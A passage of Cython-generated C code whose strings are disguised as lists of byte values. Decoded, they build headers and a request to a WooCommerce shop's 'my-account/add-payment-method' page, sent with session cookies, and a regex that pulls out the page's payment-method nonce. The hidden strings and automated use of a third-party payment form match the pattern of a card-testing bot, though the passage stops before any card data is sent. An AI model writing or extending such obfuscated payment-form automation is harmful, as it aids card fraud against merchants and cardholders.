    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 475, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_10, __pyx_t_15, __pyx_t_9) < 0) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __pyx_t_9 = PyList_New(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 476, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_97);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 476, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 476, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = PyList_New(8); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 476, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_101);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 476, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 476, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_10, __pyx_t_9, __pyx_t_15) < 0) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 477, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_116);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 477, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 477, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_user); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 477, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    if (PyDict_SetItem(__pyx_t_10, __pyx_t_15, __pyx_t_9) < 0) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_headers, __pyx_t_10) < 0) __PYX_ERR(0, 473, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_r); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 479, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_get); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 479, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(56); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 480, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 17, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_10, 18, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_10, 21, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 22, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 23, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 24, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 25, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 26, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_10, 27, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 28, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 29, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 30, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 31, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 32, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_10, 33, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 34, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 35, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 36, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 37, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_10, 38, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_10, 39, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 40, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_10, 41, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_10, 42, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_10, 43, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 44, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 45, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 46, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 47, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_10, 48, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_10, 49, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 50, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 51, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_10, 52, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 53, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_10, 54, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_10, 55, __pyx_int_47);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 480, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 480, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyTuple_New(1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 479, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_GIVEREF(__pyx_t_10);
    PyTuple_SET_ITEM(__pyx_t_15, 0, __pyx_t_10);
    __pyx_t_10 = 0;

    
    __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 481, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_r); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 481, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_cookies); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 481, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_cookies, __pyx_t_1) < 0) __PYX_ERR(0, 481, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_headers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 482, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_headers, __pyx_t_1) < 0) __PYX_ERR(0, 481, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_15, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 479, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_response, __pyx_t_1) < 0) __PYX_ERR(0, 479, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_re); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 483, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_search); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 483, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(57); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 484, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 17, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 18, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 19, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 20, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 21, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 22, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 23, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_15, 24, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 25, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 26, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 27, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 28, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 29, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 30, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 31, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 32, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 33, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 34, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 35, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 36, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 37, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 38, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 39, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 40, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 41, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_15, 42, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_15, 43, __pyx_int_32);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_15, 44, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 45, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 46, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_15, 47, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 48, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 49, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_15, 50, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_40);
    __Pyx_GIVEREF(__pyx_int_40);
    PyList_SET_ITEM(__pyx_t_15, 51, __pyx_int_40);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 52, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_42);
